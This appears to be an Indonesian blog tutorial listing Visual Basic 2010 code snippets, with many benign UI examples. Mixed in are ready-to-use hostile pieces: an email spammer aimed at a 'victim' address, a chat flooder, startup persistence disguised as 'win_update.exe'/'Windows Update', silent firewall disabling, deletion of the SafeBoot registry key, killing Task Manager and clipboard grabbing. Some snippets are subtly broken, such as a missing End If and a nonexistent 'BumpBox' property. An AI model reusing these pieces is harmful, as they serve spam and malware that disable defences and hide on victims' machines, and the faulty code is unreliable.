Kumpulan Syntax Code Penting Visual Basic 2010

Kumpulan Syntax Code Penting Visual Basic 2010
Created By Haze Lee Kaizera a.k.a Minak Djinggo

Membuka Website:

Code:
Process.Start("www.amik-garut.blogspot.com")
Process.Start("www.facebook.com/haze.kaizer")

Membuka Aplikasi Bawaan Windows:

Code:
Shell("Notepad")
Shell("Calculator")

Untuk Menghapus Sebuah File :

Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

Mengehentikan Process Yang Sedang Berjalan :

Code:
Dim RunningProcess As System.Diagnostics.Process =
Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

Mengubah Nama Sebuah File :

Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla
Firefox\firefox.exe", "Anything.exe")

Menghapus Registry Key :

Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE
\System\CurrentControlSet\Control\SafeBoot")

Membuat Registry Key :

Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

Mengubah Text Menjadi Suara :

Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

Fade in:

Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next

Fade out:

Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next

Gmail Spammer:

Tambahkan 1 Timer, 5 textbox, dan 1 button kedalam Form
textbox1 = untuk Gmail Username
textbox2 = untuk Gmail Password
textbox3 = tempat memasukan Alamat email korban
textbox4 = Subject
textbox5 = Tempat Pesan
button1.text = send!
Masukan kode ini diatas "Public Class Form1"
Code:
Imports System.Net.Mail
Double Click Button1 lalu tulis:
Code:
timer1.start
Double click Timer1 and tulis:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New
System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email Has been sent Successfully ;)")

Info Grabber :

Gets OS Name:
Code:
Textbox1.text = My.Computer.Info.OSFullName
Gets OS Version & Build Number:
Code:
Textbox2.text = My.Computer.Info.OSVersion
Gets Total Physical Memory:
Code:
Textbox3.text = My.Computer.Info.TotalPhysicalMemory
Gets Available Physical Memory:
Code:
Textbox4.text = My.Computer.Info.AvailablePhysicalMemory
Gets Clipboard Text:
Code:
Textbox5.text = My.Computer.Clipboard.GetText
Gets Local Time:
Code:
Textbox6.text = My.Computer.Clock.LocalTime

Minimize To Tray :

Tambahkan Notifyicon lalu masukan kode ini
Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As
System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Hide()
End If
End Sub
Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object,
ByVal e As System.Windows.Forms.MouseEventArgs) Handles
NotifyIcon1.MouseClick
If Me.WindowState = FormWindowState.Minimized Then
Me.Show()
Me.WindowState = FormWindowState.Normal
End If
End Sub

Membuat Webbrowser Sederhana :

Tambahkan 1 Webbrowser
5 buttons
1 combobox
Button1 = Back
Button2 = Forward
Button3 = Refresh
Button4 = Stop
Button5 = Go!
Button1:
Code:
Webbrowser1.goback
Button2:
Code:
webbrowser1.goforward
Button3:
Code:
webbrowser1.refresh
Button4:
Code:
webbrowser1.stop
Button5:
Code:
webbrowser1.navigate(combobox1.text)

Membuat Aplikasi Anda Berjalan Di Startup :

Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32
Now double click form1 and add the following Code:
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") =
False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() &
"win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey =
Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\Curren
tVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() &
"win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey =
Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\Curre
ntVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() &
"win_update.exe")
regKey.Close()
Catch ex As Exception
End Try

Picture Viewer:

Add:
1 Button
1 PictureBox
Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*"
OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi
alog1.FileName)
Catch ex As Exception
End Try

Chat Spammer :
Add:
2 Buttons
1 Timer
Double Click Button1(Start) and write:
Code:
timer1.start
Double Click Button2(Stop) and write:
Code:
timer1.stop
Then... Double Click Timer1 and Write:
Code:
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

Add Music To Your Tool:

First Add your music to Resources
Note: The File Type Of The Music must be .wav
Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav,
AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

Google Searcher :

Add:
Process
Button
Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?
hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub

Case Example :

Add:
1 Button
1 Textbox
Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

Login Example:

Add:
1 button
Click The Button and write:
Code:
If TextBox1.Text = "hazekaizer" _
And TextBox2.Text = "synraleader" Then
MsgBox("Welcome to my world")
Else
MsgBox("access denied")
End If

Screen Capture:

You Need a large picturebox
button1 = "Shoot"
Button2 = "Save"
Textbox1
Textbox2
Double Click Button1 and write:
Code:
Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width,
BumpBox.Height,
System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size,
CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" +
TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved ", MsgBoxStyle.Exclamation, "Done!")

CD-Rom Prank :

Code:
Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop

Disable Firewall:

Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()

Shutdown Manager:
Shutdown:
Code:
Shell("Shutdown -s")
Restart:
Code:
Shell("Shutdown -r")
LogOff:
Code:
Shell("Shutdown -l")

Semoga Bermanfaat :)

Download Ebook Article Kumpulan Syntax Code Penting Visual Basic 2010(.pdf) :
Click Here


Thanks And Credit :
My Lovely Mother With His Miracle Prayer
Bapak Ir.Erwan Yani,M.M , Sebagai Master Digital Grafis Designer
Bapak Drs. Aswan , M.Si sebagai Technocrat Leader , Instructor & Marketing
Bapak Adhika Eko, S.Kom sebagai Instructor dan Multimedia Mastering
Bapak Cecep Furqon, S.T. Sebagai Master Programming.
All Synra Team

Visit us :
www.synra.blogspot.com
www.amik-garut.blogspot.com
www.amikgarut.blogspot.com
www.garut-hacker.blogspot.com